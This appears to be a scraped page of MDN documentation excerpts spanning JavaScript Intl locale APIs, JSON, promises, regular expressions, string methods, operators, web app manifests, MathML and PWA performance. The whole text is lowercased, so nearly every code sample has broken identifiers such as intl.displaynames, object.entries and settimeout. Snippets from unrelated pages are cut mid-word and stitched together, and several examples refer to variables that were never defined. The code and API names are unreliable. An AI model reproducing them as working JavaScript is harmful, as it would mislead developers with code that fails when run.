... const locales = ['ban', 'id-u-co-pinyin', 'de-id']; const options = { localematcher: 'lookup' }; console.log(intl.displaynames.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification intl.displaynamesthe definition of 'supportedlocalesof()' in that specification.
Intl.ListFormat.supportedLocalesOf() - JavaScript
possible values are "lookup" and "best fit"; the default is "best fit".
...note the specification of the "lookup" algorithm here — a "best fit" matcher might decide that indonesian is an adequate match for balinese since most balinese speakers also understand indonesian, and therefore return the balinese language tag as well.
... const locales = ['ban', 'id-u-co-pinyin', 'de-id']; const options = { localematcher: 'lookup' }; console.log(intl.listformat.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification intl.listformatthe definition of 'supportedlocalesof()' in that specification.
Intl.Locale.prototype.baseName - JavaScript
basename returns the language ["-" script] ["-" region] *("-" variant) subsequence of the unicode_language_id grammar.
... examples basic example let myloc = new intl.locale("fr-latn-ca"); // sets locale to canadian french console.log(myloc.tostring()); // prints out "fr-latn-ca-u-ca-gregory" console.log(myloc.basename); // prints out "fr-latn-ca" example with options in the input string // sets language to japanese, region to japan, // calendar to gregorian, hour cycle to 24 hours let japan = new intl.locale("ja-jp-u-ca-gregory-hc-24"); console.log(japan.tostring()); // prints out "ja-jp-u-ca-gregory-hc-h24" console.log(japan.basename); // prints out "ja-jp" example with options that override input string // input string indicates language as dutch and region as belgium, // but options object overrides the region and sets it to the netherlands let dutch = new intl.locale("nl-latn-be", {region: "nl"})...
...; console.log(dutch.basename); // prints out "nl-latn-nl" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.calendar - JavaScript
islamicc civil (algorithmic) arabic calendar examples adding a calendar in the locale string calendar eras fall under the category of locale key "extension keys".
... let frbuddhist = new intl.locale("fr-fr-u-ca-buddhist"); console.log(frbuddhist.calendar); // prints "buddhist" adding a calendar with a configuration object the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including calendars.
... let frbuddhist = new intl.locale("fr-fr", {calendar: "buddhist"}); console.log(frbuddhist.calendar); // prints "buddhist" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.caseFirst - JavaScript
kf is treated as a locale string "extension subtag".
... let casefirststr = new intl.locale("fr-latn-fr-u-kf-upper"); console.log(casefirststr.casefirst); // prints "upper" setting the casefirst value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
... let casefirstobj= new intl.locale("en-latn-us", {casefirst: "lower"}); console.log(us12hour.casefirst); // prints "lower" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.collation - JavaScript
adding a collation type via the locale string in the unicode locale string spec, collation types are locale key "extension subtags".
... let stringcoll = new intl.locale("en-latn-us-u-co-emoji"); console.log(stringcoll.collation); // prints "emoji" adding a collation type via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including collation types.
... let configcoll = new intl.locale("en-latn-us", {collation: "emoji"}); console.log(configcoll.collation); // prints "emoji" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.hourCycle - JavaScript
adding an hour cycle via the locale string in the unicode locale string spec, the hour cycle is a locale string "extension subtag".
... let fr24hour = new intl.locale("fr-fr-u-hc-h23"); console.log(fr24hour.hourcycle); // prints "h23" adding an hour cycle via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including hour cycle types.
... let us12hour = new intl.locale("en-us", {hourcycle: "h12"}); console.log(us12hour.hourcycle); // prints "h12" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.numberingSystem - JavaScript
nu is considered a locale string "extension subtag".
... let numberingsystemviastr = new intl.locale("fr-latn-fr-u-nu-mong"); console.log(numberingsystemstr.numberingsystem); // prints "mong" setting the numberingsystem value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
... let numberingsystemviaobj= new intl.locale("en-latn-us", {numberingsystem: "latn"}); console.log(us12hour.numberingsystem); // prints "latn" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.NumberFormat.supportedLocalesOf() - JavaScript
possible values are "lookup" and "best fit"; the default is "best fit".
...note the specification of the "lookup" algorithm here — a "best fit" matcher might decide that indonesian is an adequate match for balinese since most balinese speakers also understand indonesian, and therefore return the balinese language tag as well.
... var locales = ['ban', 'id-u-co-pinyin', 'de-id']; var options = { localematcher: 'lookup' }; console.log(intl.numberformat.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.supportedlocalesof' in that specification.
Intl.RelativeTimeFormat.supportedLocalesOf() - JavaScript
possible values are "lookup" and "best fit"; the default is "best fit".
...note the specification of the "lookup" algorithm here — a "best fit" matcher might decide that indonesian is an adequate match for balinese since most balinese speakers also understand indonesian, and therefore return the balinese language tag as well.
... const locales = ['ban', 'id-u-co-pinyin', 'de-id']; const options = { localematcher: 'lookup' }; console.log(intl.relativetimeformat.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.supportedlocalesof()' in that specification.
JSON - JavaScript
consider this example where json.parse() parses the string as json and eval executes the string as javascript: let code = '"\u2028\u2029"' json.parse(code) // evaluates to "\u2028\u2029" in all engines eval(code) // throws a syntaxerror in old engines other differences include allowing only double-quoted strings and having no provisions for undefined or comments.
...digits exponentpart or decimalnumber exponentpart decimalnumber = 0 or onetonine digits exponentpart = e exponent or e exponent exponent = digits or + digits or - digits digits = digit or digits digit digit = 0 through 9 onetonine = 1 through 9 jsonstring = "" or " stringcharacters " stringcharacters = stringcharacter or stringcharacters stringcharacter stringcharacter = any character except " or \ or u+0000 through u+001f or escapesequence escapesequence = \" or \/ or \\ or \b or \f or \n or \r or \t or \u hexdigit hexdigit hexdigit hexdigit hexdigit = 0 through 9 or a t...
... examples example json { "browsers": { "firefox": { "name": "firefox", "pref_url": "about:config", "releases": { "1": { "release_date": "2004-11-09", "status": "retired", "engine": "gecko", "engine_version": "1.7" } } } } } specifications specification ecmascript (ecma-262)the definition of 'json' in that spec...
Number - JavaScript
literal syntax 123 // one-hundred twenty-three 123.0 // same 123 === 123.0 // true function syntax number('123') // returns the number 123 number('123') === 123 // true number("unicorn") // nan number(undefined) // nan constructor number() creates a new number value.
... number.nan special "not a number" value.
... number.prototype.tostring([radix]) returns a string representing the specified object in the specified radix ("base").
Object.entries() - JavaScript
ill be coerced to an object console.log(object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ] // returns an empty array for any primitive type, since primitives have no own properties console.log(object.entries(100)); // [ ] // iterate through key-value gracefully const obj = { a: 5, b: 7, c: 9 }; for (const [key, value] of object.entries(obj)) { console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" } // or, using array extras object.entries(obj).foreach(([key, value]) => { console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" }); converting an object to a map the new map() constructor accepts an iterable of entries.
... with object.entries, you can easily convert from object to map: const obj = { foo: 'bar', baz: 42 }; const map = new map(object.entries(obj)); console.log(map); // map { foo: "bar", baz: 42 } iterating through an object using array destructuring, you can iterate through objects easily.
... const obj = { foo: 'bar', baz: 42 }; object.entries(obj).foreach(([key, value]) => console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42" specifications specification ecmascript (ecma-262)the definition of 'object.entries' in that specification.
Object.prototype.toLocaleString() - JavaScript
g() bigint: bigint.prototype.tolocalestring() examples array tolocalestring() override on array objects, tolocalestring() can be used to print array values as a string, optionally with locale-specific identifiers (such as currency symbols) appended to them: for example: const testarray = [4, 7, 10]; let europrices = testarray.tolocalestring('fr', { style: 'currency', currency: 'eur'}); // "4,00 €,7,00 €,10,00 €" date tolocalestring() override on date objects, tolocalestring() is used to print out date displays more suitable for specific locales: for example: const testdate = new date(date.now()); // "date fri may 29 2020 18:04:24 gmt+0100 (british summer time)" let dedate = testdate.tolocalestring('de'); // "29.5.2020, 18:04:24" var frdate = testdate.tolocalestring('fr')...
...; //"29/05/2020 à 18:04:24" number tolocalestring() override on number objects, tolocalestring() is used to print out number displays more suitable for specific locales, e.g.
... with the correct separators: for example: const testnumber = 2901234564; // "2901234564" let denumber = testnumber.tolocalestring('de'); // "2.901.234.564" let frnumber = testnumber.tolocalestring('fr'); // "2 901 234 564" specifications specification ecmascript (ecma-262)the definition of 'object.prototype.tolocalestring' in that specification.
Object - JavaScript
when a function is called, the arguments to the call are held in the array-like "variable" arguments.
... var current = object.prototype.valueof; // since my property "-prop-value" is cross-cutting and isn't always // on the same prototype chain, i want to modify object.prototype: object.prototype.valueof = function() { if (this.hasownproperty('-prop-value')) { return this['-prop-value']; } else { // it doesn't look like one of my objects, so let's fall back on // the default behavior by reproducing the current behavior as best we can.
... // the apply behaves like "super" in some other languages.
Promise.prototype.catch() - JavaScript
examples using and chaining the catch method var p1 = new promise(function(resolve, reject) { resolve('success'); }); p1.then(function(value) { console.log(value); // "success!" throw new error('oh, no!'); }).catch(function(e) { console.error(e.message); // "oh, no!" }).then(function(){ console.log('after a catch the chain is restored'); }, function () { console.log('not fired due to the catch'); }); // the following behaves the same as above p1.then(function(value) { console.log(value); // "success!" return promise.reject('oh, no!'); }).catch(funct...
...ion(e) { console.error(e); // "oh, no!" }).then(function(){ console.log('after a catch the chain is restored'); }, function () { console.log('not fired due to the catch'); }); gotchas when throwing errors // throwing an error will call the catch method most of the time var p1 = new promise(function(resolve, reject) { throw new error('uh-oh!'); }); p1.catch(function(e) { console.error(e); // "uh-oh!" }); // errors thrown inside asynchronous functions will act like uncaught errors var p2 = new promise(function(resolve, reject) { settimeout(function() { throw new error('uncaught exception!'); }, 1000); }); p2.catch(function(e) { console.error(e); // this is never called }); // errors thrown after resolve is called will be silenced var p3 = new promise(function(resolv...
...e, reject) { resolve(); throw new error('silenced exception!'); }); p3.catch(function(e) { console.error(e); // this is never called }); if it is resolved //create a promise which would not call onreject var p1 = promise.resolve("calling next"); var p2 = p1.catch(function (reason) { //this is never called console.error("catch p1!"); console.error(reason); }); p2.then(function (value) { console.log("next promise's onfulfilled"); /* next promise's onfulfilled */ console.log(value); /* calling next */ }, function (reason) { console.log("next promise's onrejected"); console.log(reason); }); specifications specification ecmascript (ecma-262)the definition of 'promise.prototype.catch' in that specification.
RegExp.prototype[@@split]() - JavaScript
let re = /-/g; let str = '2016-01-02'; let result = re[symbol.split](str); console.log(result); // ["2016", "01", "02"] using @@split in subclasses subclasses of regexp can override the [@@split]() method to modify the default behavior.
... class myregexp extends regexp { [symbol.split](str, limit) { let result = regexp.prototype[symbol.split].call(this, str, limit); return result.map(x => "(" + x + ")"); } } let re = new myregexp('-'); let str = '2016-01-02'; let result = str.split(re); // string.prototype.split calls re[@@split].
... console.log(result); // ["(2016)", "(01)", "(02)"] specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@split]' in that specification.
RegExp.prototype.ignoreCase - JavaScript
the ignorecase property indicates whether or not the "i" flag is used with the regular expression.
... property attributes of regexp.prototype.ignorecase writable no enumerable no configurable yes description the value of ignorecase is a boolean and true if the "i" flag was used; otherwise, false.
... the "i" flag indicates that case should be ignored while attempting a match in a string.
RegExp.prototype.test() - JavaScript
examples using test() simple example that tests if "hello" is contained at the very beginning of a string, returning a boolean result.
... 'hello world!'; const result = /^hello/.test(str); console.log(result); // true the following example logs a message which depends on the success of the test: function testinput(re, str) { let midstring; if (re.test(str)) { midstring = 'contains'; } else { midstring = 'does not contain'; } console.log(`${str} ${midstring} ${re.source}`); } using test() on a regex with the "global" flag when a regex has the global flag set, test() will advance the lastindex of the regex.
... the following example demonstrates this behaviour: const regex = /foo/g; // the "global" flag is set // regex.lastindex is at 0 regex.test('foo') // true // regex.lastindex is now at 3 regex.test('foo') // false // regex.lastindex is at 0 regex.test('barfoo') // true // regex.lastindex is at 6 regex.test('foobar') //false // regex.lastindex is at 0 // (...and so on) specifications specification ecmascript (ecma-262)the definition of 'reg...
String.prototype.charAt() - JavaScript
examples displaying characters at different locations in a string the following example displays characters at different locations in the string "brave new world": var anystring = 'brave new world'; console.log("the character at index 0 is '" + anystring.charat() + "'"); // no index was provided, used 0 as default console.log("the character at index 0 is '" + anystring.charat(0) + "'"); console.log("the character at index 1 is '" + anystring.charat(1) + "'"); console.log("the character at index 2 is '" + anystring.charat(2) ...
... + "'"); console.log("the character at index 3 is '" + anystring.charat(3) + "'"); console.log("the character at index 4 is '" + anystring.charat(4) + "'"); console.log("the character at index 999 is '" + anystring.charat(999) + "'"); these lines display the following: the character at index 0 is 'b' the character at index 0 is 'b' the character at index 1 is 'r' the character at index 2 is 'a' the character at index 3 is 'v' the character at index 4 is 'e' the character at index 999 is '' getting whole characters the following provides a means of ensuring that going through a string loop always provides a whole character, even if the string contains characters that are not in the basic multi-lingual plane.
...[\ud800-\udbff][\udc00-\udfff]/g while ((surrogatepairs.exec(str)) != null) { let lastidx = surrogatepairs.lastindex if (lastidx - 2 < idx) { idx++ } else { break } } if (idx >= end || idx < 0) { return '' } ret += str.charat(idx) if (/[\ud800-\udbff]/.test(ret) && /[\udc00-\udfff]/.test(str.charat(idx + 1))) { // go one further, since one of the "characters" is part of a surrogate pair ret += str.charat(idx + 1) } return ret } specifications specification ecmascript (ecma-262)the definition of 'string.prototype.charat' in that specification.
String.prototype.link() - JavaScript
syntax str.link(url) parameters url any string that specifies the href attribute of the <a> tag; it should be a valid url (relative or absolute), with any & characters escaped as &amp;, and any " characters escaped as &quot;.
... examples using link() the following example displays the word "mdn" as a hypertext link that returns the user to the mozilla developer network.
... var hottext = 'mdn'; var url = 'https://developer.mozilla.org/'; console.log('click to return to ' + hottext.link(url)); // click to return to <a href="https://developer.mozilla.org/">mdn</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.link' in that specification.
String.prototype.localeCompare() - JavaScript
examples using localecompare() // the letter "a" is before "c" yielding a negative value 'a'.localecompare('c'); // -2 or -1 (or some other negative value) // alphabetically the word "check" comes after "against" yielding a positive value 'check'.localecompare('against'); // 2 or 1 (or some other positive value) // "a" and "a" are equivalent yielding a neutral value of zero 'a'.localecompare('a'); // 0 sort an array localecompare() enabl...
... to check whether an implementation supports them, use the "i" argument (a requirement that illegal language tags are rejected) and look for a rangeerror exception: function localecomparesupportslocales() { try { 'foo'.localecompare('bar', 'i'); } catch (e) { return e.name === 'rangeerror'; } return false; } using locales the results provided by localecompare() vary between languages.
...ter z using options the results provided by localecompare() can be customized using the options argument: // in german, ä has a as the base letter console.log('ä'.localecompare('a', 'de', { sensitivity: 'base' })); // 0 // in swedish, ä and a are separate base letters console.log('ä'.localecompare('a', 'sv', { sensitivity: 'base' })); // a positive value numeric sorting // by default, "2" > "10" console.log("2".localecompare("10")); // 1 // numeric using options: console.log("2".localecompare("10", undefined, {numeric: true})); // -1 // numeric using locales tag: console.log("2".localecompare("10", "en-u-kn-true")); // -1 specifications specification ecmascript (ecma-262)the definition of 'string.prototype.localecompare' in that specification.
String.prototype.matchAll() - JavaScript
r to the addition of matchall to javascript, it was possible to use calls to regexp.exec (and regexes with the /g flag) in a loop to obtain all the matches: const regexp = regexp('foo[a-z]*','g'); const str = 'table football, foosball'; let match; while ((match = regexp.exec(str)) !== null) { console.log(`found ${match[0]} start=${match.index} end=${regexp.lastindex}.`); // expected output: "found football start=6 end=14." // expected output: "found foosball start=16 end=24." } with matchall available, you can avoid the while loop and exec with g.
...instead, by using matchall, you get an iterator to use with the more convenient for...of, array spread, or array.from() constructs: const regexp = regexp('foo[a-z]*','g'); const str = 'table football, foosball'; const matches = str.matchall(regexp); for (const match of matches) { console.log(`found ${match[0]} start=${match.index} end=${match.index + match[0].length}.`); } // expected output: "found football start=6 end=14." // expected output: "found foosball start=16 end=24." // matches iterator is exhausted after the for..of iteration // call matchall again to create a new iterator array.from(str.matchall(regexp), m => m[0]); // array [ "football", "foosball" ] matchall will throw an exception if the g flag is missing.
... const regexp = regexp('[a-c]','g'); regexp.lastindex = 1; const str = 'abc'; array.from(str.matchall(regexp), m => `${regexp.lastindex} ${m[0]}`); // array [ "1 b", "1 c" ] better access to capturing groups (than string.prototype.match()) another compelling reason for matchall is the improved access to capture groups.
Symbol() constructor - JavaScript
the symbol() constructor returns a value of type symbol, but is incomplete as a constructor because it does not support the syntax "new symbol()" and it is not intended to be subclassed.
...note that symbol("foo") does not coerce the string "foo" into a symbol.
... if you really want to create a symbol wrapper object, you can use the object() function: let sym = symbol('foo'); let symobj = object(sym); typeof sym // => "symbol" typeof symobj // => "object" specifications specification ecmascript (ecma-262)the definition of 'symbol constructor' in that specification.
Symbol.toPrimitive - JavaScript
the hint argument can be one of "number", "string", and "default".
...var obj1 = {}; console.log(+obj1); // nan console.log(`${obj1}`); // "[object object]" console.log(obj1 + ''); // "[object object]" // an object with symbol.toprimitive property.
... var obj2 = { [symbol.toprimitive](hint) { if (hint == 'number') { return 10; } if (hint == 'string') { return 'hello'; } return true; } }; console.log(+obj2); // 10 -- hint is "number" console.log(`${obj2}`); // "hello" -- hint is "string" console.log(obj2 + ''); // "true" -- hint is "default" specifications specification ecmascript (ecma-262)the definition of 'symbol.toprimitive' in that specification.
Symbol.toStringTag - JavaScript
property attributes of symbol.tostringtag writable no enumerable no configurable no examples default tags object.prototype.tostring.call('foo'); // "[object string]" object.prototype.tostring.call([1, 2]); // "[object array]" object.prototype.tostring.call(3); // "[object number]" object.prototype.tostring.call(true); // "[object boolean]" object.prototype.tostring.call(undefined); // "[object undefined]" object.prototype.tostring.call(null); // "[object null]" // ...
... and more built-in tostringtag symbols object.prototype.tostring.call(new map()); // "[object map]" object.prototype.tostring.call(function* () {}); // "[object generatorfunction]" object.prototype.tostring.call(promise.resolve()); // "[object promise]" // ...
... and more custom classes default to object tag when creating your own class, javascript defaults to the "object" tag: class validatorclass {} object.prototype.tostring.call(new validatorclass()); // "[object object]" custom tag with tostringtag now, with the help of tostringtag, you are able to set your own custom tag: class validatorclass { get [symbol.tostringtag]() { return 'validator'; } } object.prototype.tostring.call(new validatorclass()); // "[object validator]" tostringtag available on all dom prototype objects due to a webidl spec change in mid-2020, browsers are adding a symbol.tostringtag property to all dom prototype objects.
WebAssembly.Global - JavaScript
global.prototype[@@tostringtag] the initial value of the @@tostringtag property is the string value "webassembly.global".
...got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); const global = new webassembly.global({value:'i32', mutable:true}, 0); webassembly.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value from wasm", inst...
...ance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code.
escape() - JavaScript
warning: although escape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification.
... note: this function was used mostly for url queries (the part of a url following ?)—not for escaping ordinary string literals, which use the format "\xhh".
... examples using escape escape('abc123'); // "abc123" escape('äöü'); // "%e4%f6%fc" escape('ć'); // "%u0107" // special characters escape('@*_+-./'); // "@*_+-./" specifications specification ecmascript (ecma-262)the definition of 'escape' in that specification.
parseInt() - JavaScript
if radix is undefined, 0, or unspecified, javascript assumes the following: if the input string begins with "0x" or "0x" (a zero, followed by lowercase or uppercase x), radix is assumed to be 16 and the rest of the string is parsed as a hexidecimal number.
... if the input string begins with "0" (a zero), radix is assumed to be 8 (octal) or 10 (decimal).
...this is because trailing non-numeric values, including "n", are discarded.
Conditional (ternary) operator - JavaScript
description besides false, possible falsy expressions are: null, nan, 0, the empty string (""), and undefined.
..."beer" : "juice"; console.log(beverage); // "beer" handling null values one common usage is to handle a value that may be null: let greeting = person => { let name = person ?
... person.name : `stranger` return `howdy, ${name}` } console.log(greeting({name: `alice`})); // "howdy, alice" console.log(greeting(null)); // "howdy, stranger" conditional chains the ternary operator is right-associative, which means it can be "chained" in the following way, similar to an if … else if … else if … else chain: function example(…) { return condition1 ?
Logical NOT (!) - JavaScript
examples of expressions that can be converted to false are: null; nan; 0; empty string ("" or '' or ``); undefined.
...the conversion is based on the "truthyness" or "falsyness" of the value (see truthy and falsy).
...n4 = !!false // !!falsy returns false n5 = !!"" // !!falsy returns false n6 = !!boolean(false) // !!falsy returns false converting between nots the following operation involving booleans: !!bcondition is always equal to: bcondition specifications specification ecmascript (ecma-262)the definition of 'logical not expression' in that specification.
Optional chaining (?.) - JavaScript
let mymap = new map(); mymap.set("foo", {name: "baz", desc: "inga"}); let namebar = mymap.get("bar")?.name; short-circuiting evaluation when using optional chaining with expressions, if the left operand is null or undefined, the expression will not be evaluated.
... for instance: let potentiallynullobj = null; let x = 0; let prop = potentiallynullobj?.[x++]; console.log(x); // 0 as x was not incremented stacking the optional chaining operator with nested structures, it is possible to use optional chaining multiple times: let customer = { name: "carl", details: { age: 82, location: "paradise falls" // detailed address is unknown } }; let customercity = customer.details?.address?.city; // … this also works with optional chaining function call let duration = vacations.trip?.gettime?.(); combining with the nullish coalescing operator the nullish coalescing operator may be used after optional chaining in order to build a default value when none was found: let customer = { name: "carl", details: { age: 82 } }; const customerci...
..."unknown city"; console.log(customercity); // unknown city specifications specification ecmascript (ecma-262)the definition of 'optional expression' in that specification.
Property accessors - JavaScript
(in the ecmascript standard, the names of properties are technically "identifiernames", not "identifiers", so reserved words can be used but are not recommended).
... let foo = {unique_prop: 1}, bar = {unique_prop: 2}, object = {}; object[foo] = 'value' console.log(object[bar]) in the spidermonkey javascript engine, this string would be "[object object]".
...instead, this is "passed" by the function call.
new operator - JavaScript
for example, the statement car1.color = "black" adds a property color to car1, and assigns it a value of "black".
...the following code adds a color property with value "original color" to all objects of type car, and then overwrites that value with the string "black" only in the instance object car1.
...then the value of mycar.make is the string "eagle", mycar.year is the integer 1993, and so on.
void operator - JavaScript
the void operator is often used merely to obtain the undefined primitive value, usually using "void(0)" (which is equivalent to "void 0").
... void function iife() { console.log("executed!"); }(); // output: "executed!" executing the above function without the void keyword will result in an uncaught syntaxerror.
...for example: <a href="javascript:void(0);"> click here to do nothing </a> <a href="javascript:void(document.body.style.backgroundcolor='green');"> click here for green background </a> note: javascript: pseudo protocol is discouraged over other alternatives, such as unobtrusive event handlers.
for...in - JavaScript
although arrays are often more practical for storing data, in situations where a key-value pair is preferred for working with data (with properties acting as the "key"), there may be instances where you want to check if any of those keys hold a particular value.
... var obj = {a: 1, b: 2, c: 3}; for (const prop in obj) { console.log(`obj.${prop} = ${obj[prop]}`); } // output: // "obj.a = 1" // "obj.b = 2" // "obj.c = 3" iterating own properties the following function illustrates the use of hasownproperty(): the inherited properties are not displayed.
... var triangle = {a: 1, b: 2, c: 3}; function coloredtriangle() { this.color = 'red'; } coloredtriangle.prototype = triangle; var obj = new coloredtriangle(); for (const prop in obj) { if (obj.hasownproperty(prop)) { console.log(`obj.${prop} = ${obj[prop]}`); } } // output: // "obj.color = red" specifications specification ecmascript (ecma-262)the definition of 'for...in statement' in that specification.
import.meta - JavaScript
examples using import.meta given a module my-module.js <script type="module" src="my-module.js"></script> you can access meta information about the module using the import.meta object.
... console.log(import.meta); // { url: "file:///home/user/my-module.js" } it returns an object with a url property indicating the base url of the module.
... for example, with the following html: <script type="module"> import './index.mjs?someurlinfo=5'; </script> ..the following javascript file will log the `someurlinfo parameter: // index.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 the same applies when a file imports another: // index.mjs import './index2.mjs?someurlinfo=5'; // index2.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 note that while node.js will pass on query parameters (or the hash) as in the latter example, as of node 14.1.0, a url w...
Transitioning to strict mode - JavaScript
if you really want to set a value to the global object, pass it as an argument and explicitly assign it as a property: var global = this; // in the top-level context, "this" always // refers to the global object function f(x) { 'use strict'; var a = 12; global.b = a + x * 35; } f(42); trying to delete a non-configurable property 'use strict'; delete object.prototype; // error!
... strictness-neutral code a potential "downside" of moving strict code to strict mode is that the semantics may be different in legacy browsers which do not implement strict mode.
...here are the rules to make your code strictness-neutral: write your code as strict and make sure no strict-only errors (from the above "new runtime errors" section) are thrown.
Trailing commas - JavaScript
trailing commas (sometimes called "final commas") can be useful when adding new elements, parameters, or properties to javascript code.
... var arr = [1, 2, 3,,,]; arr.length; // 5 objects starting with ecmascript 5, trailing commas in object literals are legal as well: var object = { foo: "bar", baz: "qwerty", age: 42, }; trailing commas in functions ecmascript 2017 allows trailing commas in function parameter lists.
... both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4, ]'); json.parse('{"foo" : 1, }'); // syntaxerror json.parse: unexpected character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4 ]'); json.parse('{"foo" : 1 }'); specifications specification ecmascript (ecma-262) ...
Web app manifests
it is a json-formatted file, with one exception: it is allowed to contain "//"-style comments.
...click each one for more information about it: background_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_url": ".", "display": "standalone", "background_color": "#fff", "description": "a simply readable hacker news app.", "icons": [{ "src": "images/touch/homescreen48.png", "sizes": "48x48", "type": "image/png" }, { "src": "images/touch/homescreen72.png", "sizes": "72x72", "type": "image/png" }, { "src": "images/touch/homescreen96.png", "sizes": "96x96", "type": "ima...
...ge/png" }, { "src": "images/touch/homescreen144.png", "sizes": "144x144", "type": "image/png" }, { "src": "images/touch/homescreen168.png", "sizes": "168x168", "type": "image/png" }, { "src": "images/touch/homescreen192.png", "sizes": "192x192", "type": "image/png" }], "related_applications": [{ "platform": "play", "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb" }] } deploying a manifest web app manifests are deployed in your html pages using a <link> element in the <head> of a document: <link rel="manifest" href="/manifest.webmanifest"> note: the .webmanifest extension is specified in the media type registration section of the specification (the response of the manifest file should return content-type: ap...
<mo> - MathML
WebMathMLElementmo
besides operators in strict mathematical meaning, this element also includes "operators" like parentheses, separators like comma and semicolon, or "absolute value" bars.
... largeop specifies whether the operator should be drawn larger than normal when displaystyle="true" is set.
...that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
MathML documentation index - MathML
WebMathMLIndex
10 <maction> mathml, mathml reference, mathml:element, mathml:enlivening expressions the following example uses the "toggle" actiontype: 11 <math> mathml, mathml reference, mathml:element the top-level element in mathml is <math>.
...however, it is also allowed to have arbitrary text in it which is actually a numeric quantity, for example "eleven".
...besides operators in strict mathematical meaning, this element also includes "operators" like parentheses, separators like comma and semicolon, or "absolute value" bars.
Optimizing startup performance - Web Performance
if the app is being run in a browser, it's possible the user may get an "unresponsive app" or "slow script" notification.
... if you're starting your project from scratch, it's usually pretty easy to just write everything the "right way," making appropriate bits of the code asynchronous.
...this all means that unless you can easily pull out the "pure calculation" chunks of your startup process into workers, you'll wind up having to run most or all of your startup code on the main thread.
Using dns-prefetch - Web Performance
the cross-origin domain is then specified in the href attribute: syntax <link rel="dns-prefetch" href="https://fonts.gstatic.com/" > examples <html> <head> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> <!-- and all other head elements --> </head> <body> <!-- your page content --> </body> </html> you should place dns-prefetch hints in the <head> element any time your site references resources on cross-origin domains, but there are some things...
...you can safely use them together like so: <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> note: if a page needs to make connections to many third-party domains, preconnecting them all is counterproductive.
...for the others, just use <link rel="dns-prefetch"> to save time on the first step — the dns lookup.
Progressive loading - Progressive web apps (PWAs)
to fix that we can, for example, add defer to javascript files: <script src="app.js" defer></script> they will be downloaded and executed after the document itself has been parsed, so it won't block rendering the html structure.
... we can also split css files and add media types to them: <link rel="stylesheet" href="style.css"> <link rel="stylesheet" href="print.css" media="print"> this will tell the browser to load them only when the condition is met.
... we render the images with a blur at the beginning, so a transition to the sharp one can be achieved: article img[data-src] { filter: blur(0.2em); } article img { filter: blur(0em); transition: filter 0.5s; } this will remove the blur effect within half a second, which looks good enough for the "loading" effect.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
they can do a lot more than "just" offering offline capabilities, including handling notifications, performing heavy calculations on a separate thread, etc.
... offline first the "offline first" — or "cache first" — pattern is the most popular strategy for serving content to the user.
... "progressive" in pwa when implemented properly as a progressive enhancement, service workers can benefit users who have modern browsers that support the api by providing offline support, but won't break anything for those using legacy browsers.
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
instead of showing the notification immediately though, best practice dictates that we should show the popup when the user requests it by clicking on a button: var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if(result === 'granted') { randomnotification(); } }); }); this shows a popup using the operating system’s own notifications service: when the user confirms to receive notifications, the app can then show them.
... const webpush = require('web-push'); if (!process.env.vapid_public_key || !process.env.vapid_private_key) { console.log("you must set the vapid_public_key and vapid_private_key "+ "environment variables.
... you can use the following ones:"); console.log(webpush.generatevapidkeys()); return; } webpush.setvapiddetails( 'https://serviceworke.rs/', process.env.vapid_public_key, process.env.vapid_private_key ); next, a module defines and exports all the routes an app needs to handle: getting the vapid public key, registering, and then sending notifications.
class - SVG: Scalable Vector Graphics
WebSVGAttributeclass
white space in lists is defined as one or more of the following consecutive characters: "space" (u+0020), "tab" (u+0009), "line feed" (u+000a), "carriage return" (u+000d), and "form-feed" (u+000c).
